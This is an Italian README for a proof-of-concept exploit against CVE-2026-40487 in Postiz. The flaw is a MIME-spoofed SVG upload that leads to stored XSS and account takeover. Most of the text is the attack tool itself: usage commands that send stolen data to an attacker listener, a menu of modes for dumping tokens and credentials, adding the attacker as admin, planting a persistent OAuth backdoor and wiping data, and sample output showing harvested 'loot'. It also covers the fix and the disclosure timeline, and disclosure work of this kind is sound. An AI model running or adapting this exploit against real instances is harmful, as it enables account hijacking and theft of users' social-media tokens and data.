
Proof-of-concept exploit per CVE-2026-40487, che dimostra il caricamento arbitrario di file tramite spoofing MIME che porta a XSS persistente e furto dell'account in Postiz. Include molteplici modalità di attacco per l'esfiltrazione dei dati, l'escalation dei privilegi e la persistenza.
Scoperta e segnalata da: Astaruf
Analisi completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Voce GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz è uno strumento open-source di gestione dei social media con oltre 28 integrazioni di piattaforme (Instagram, X, LinkedIn, Facebook, TikTok, ecc.), utilizzato da oltre 600 istanze esposte su internet.
Un attaccante con privilegi bassi può caricare un file SVG (o HTML) malevolo con un header Content-Type: image/png falsificato. Il server accetta il file senza ispezionarne il contenuto effettivo, preserva l'estensione originale, e nginx lo serve con il Content-Type derivato da quell'estensione (image/svg+xml). Quando una vittima apre l'URL, il JavaScript incorporato viene eseguito nell'origine dell'applicazione, dando all'attaccante piene capacità di dirottamento della sessione, equivalenti al furto dell'account.
La catena di attacco:
L'attaccante carica .svg con Content-Type: image/png
-> Il server valida solo l'header Content-Type (CWE-345)
-> Il file viene salvato su disco con l'estensione .svg originale (CWE-434)
-> nginx lo serve come image/svg+xml
-> Il browser esegue il JavaScript incorporato (CWE-79)
-> Stessa origine: accesso completo alla sessione della vittima
Il payload XSS viene eseguito nella stessa origine dell'applicazione. Anche se il cookie di autenticazione è HttpOnly, fetch() con credentials: "include" lo allega automaticamente. L'attaccante può:
pos_* che non scade mai e sopravvive ai cambi di password)Tre componenti falliscono in modo indipendente, creando la catena di sfruttamento:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype proviene dall'header Content-Type nella richiesta multipart, che l'attaccante controlla. Nessuna ispezione dei magic byte, nessun uso di librerie come file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) estrae l'estensione dal nome file fornito dal client. Nessun controllo di coerenza tra il tipo MIME dichiarato e l'estensione. Il server restituisce anche l'URL pubblico completo nella risposta, quindi l'attaccante ottiene il link da inviare alla vittima.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx mappa .svg a image/svg+xml, .html a text/html. Nessun Content-Security-Policy, nessun X-Content-Type-Options: nosniff, nessun Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Verifica se il target è vulnerabile
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Esfiltra tutto dalla vittima
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Crea una backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Riusa il token senza credenziali
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Attaccante Server Postiz Vittima
| | |
|-- 1. Login/Registrazione --->| |
|-- 2. Upload SVG malevolo --->| |
|<---- URL del file -----------| |
|-- 3. Invio URL alla vittima ------------------------> |
| |<--- 4. Apre l'URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS si esegue, esfiltra i dati ------|
| Modalità | Descrizione |
|---|---|
dump-self | Profilo vittima, info organizzazione, tier, chiave API |
dump-personal | Nome visualizzato, bio, foto profilo |
dump-integrations | Integrazioni social collegate e token |
dump-posts | Post programmati e bozze (ultimi 365 giorni) |
dump-team | Membri del team, ruoli e indirizzi email |
dump-media | Elenco della libreria multimediale |
dump-notifications | Cronologia notifiche |
dump-signatures | Firme dei post |
dump-webhooks | Webhook configurati e i loro URL |
dump-oauth-app | Credenziali app OAuth (clientId, secret) |
dump-copilot | Thread di conversazione del copilot AI |
dump-billing | Informazioni di fatturazione e abbonamento |
dump-settings | Impostazioni shortlink e notifiche |
dump-third-party | Configurazioni integrazioni di terze parti |
dump-autopost | Regole di pubblicazione automatica |
dump-sets | Set di contenuti |
dump-tags | Tag dei post |
dump-customers | Elenco clienti |
full-dump | Tutto quanto sopra in un singolo payload |
| Modalità | Descrizione |
|---|---|
add-admin | Invita l'attaccante come ADMIN nell'organizzazione della vittima (--attacker-email) |
rotate-key | Ruota la chiave API dell'organizzazione e la esfiltra |
rotate-oauth | Ruota il segreto dell'app OAuth e lo esfiltra |
| Modalità | Descrizione |
|---|---|
kill-notifications | Disabilita tutte le notifiche email |
edit-profile | Modifica nome e bio della vittima (--edit-name, --edit-bio) |
wipe-signatures | Elimina tutte le firme dei post |
wipe-webhooks | Elimina tutti i webhook |
wipe-tags | Elimina tutti i tag |
wipe-sets | Elimina tutti i set di contenuti |
wipe-autopost | Elimina tutte le regole di pubblicazione automatica |
logout-victim | Forza il logout della vittima |
delete-oauth-app | Elimina l'applicazione OAuth della vittima |
| Modalità | Descrizione |
|---|---|
create-oauth-app | Crea app OAuth, auto-approvazione, esfiltra token pos_* persistente (--oauth-redirect) |
steal-cookie | Ruba il JWT di autenticazione tramite document.cookie (quando NOT_SECURED=true) |
| Modalità | Descrizione |
|---|---|
api-call | Chiamata API autenticata arbitraria (--api-method, --api-path, --api-body) |
custom | Esegue JavaScript arbitrario (--custom-js) |
| Opzione | Descrizione |
|---|---|
--check | Sonda se il target è vulnerabile (nessun attacco eseguito) |
--register | Registra un nuovo account prima del login |
-t / --token | Usa chiave API o token pos_* invece delle credenziali |
--format html | Usa payload HTML invece di SVG |
--proxy | Instrada il traffico attraverso proxy HTTP/SOCKS (es. Burp Suite) |
-o / --output | Salva il bottino in un file JSON |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — XSS Persistente tramite Upload di File con MIME Spoofato
[*] Accesso come [email protected] ...
[+] Autenticato.
[*] Generazione payload: Esfiltra tutto in un singolo payload
[*] Upload del .svg malevolo con Content-Type: image/png ...
[+] Upload riuscito.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Avvio listener di esfiltrazione su 0.0.0.0:8888 ...
=================================================================
Invia questo URL alla vittima:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] In attesa che la vittima apra il link ...
[+] Bottino ricevuto @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] Bottino ricevuto @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Bottino ricevuto @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
La versione 2.21.6 ha introdotto tre modifiche:
file-type per ispezionare il contenuto effettivo del fileimage/*)| Data | Evento |
|---|---|
| 2026-04-10 | Vulnerabilità scoperta durante la revisione del codice sorgente |
| 2026-04-10 | Segnalata tramite GitHub Security Advisory (GHSA) |
| 2026-04-10 | Gli sviluppatori hanno riconosciuto e richiesto chiarimenti |
| 2026-04-10 | Forniti scenari di attacco dettagliati e dati Shodan |
| 2026-04-11 | Contestazione CVSS presentata con prove |
| 2026-04-13 | Correzione rilasciata nella v2.21.6 |
| 2026-04-14 | Assegnato CVE-2026-40487 |
| 2026-04-15 | Divulgazione pubblica |
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.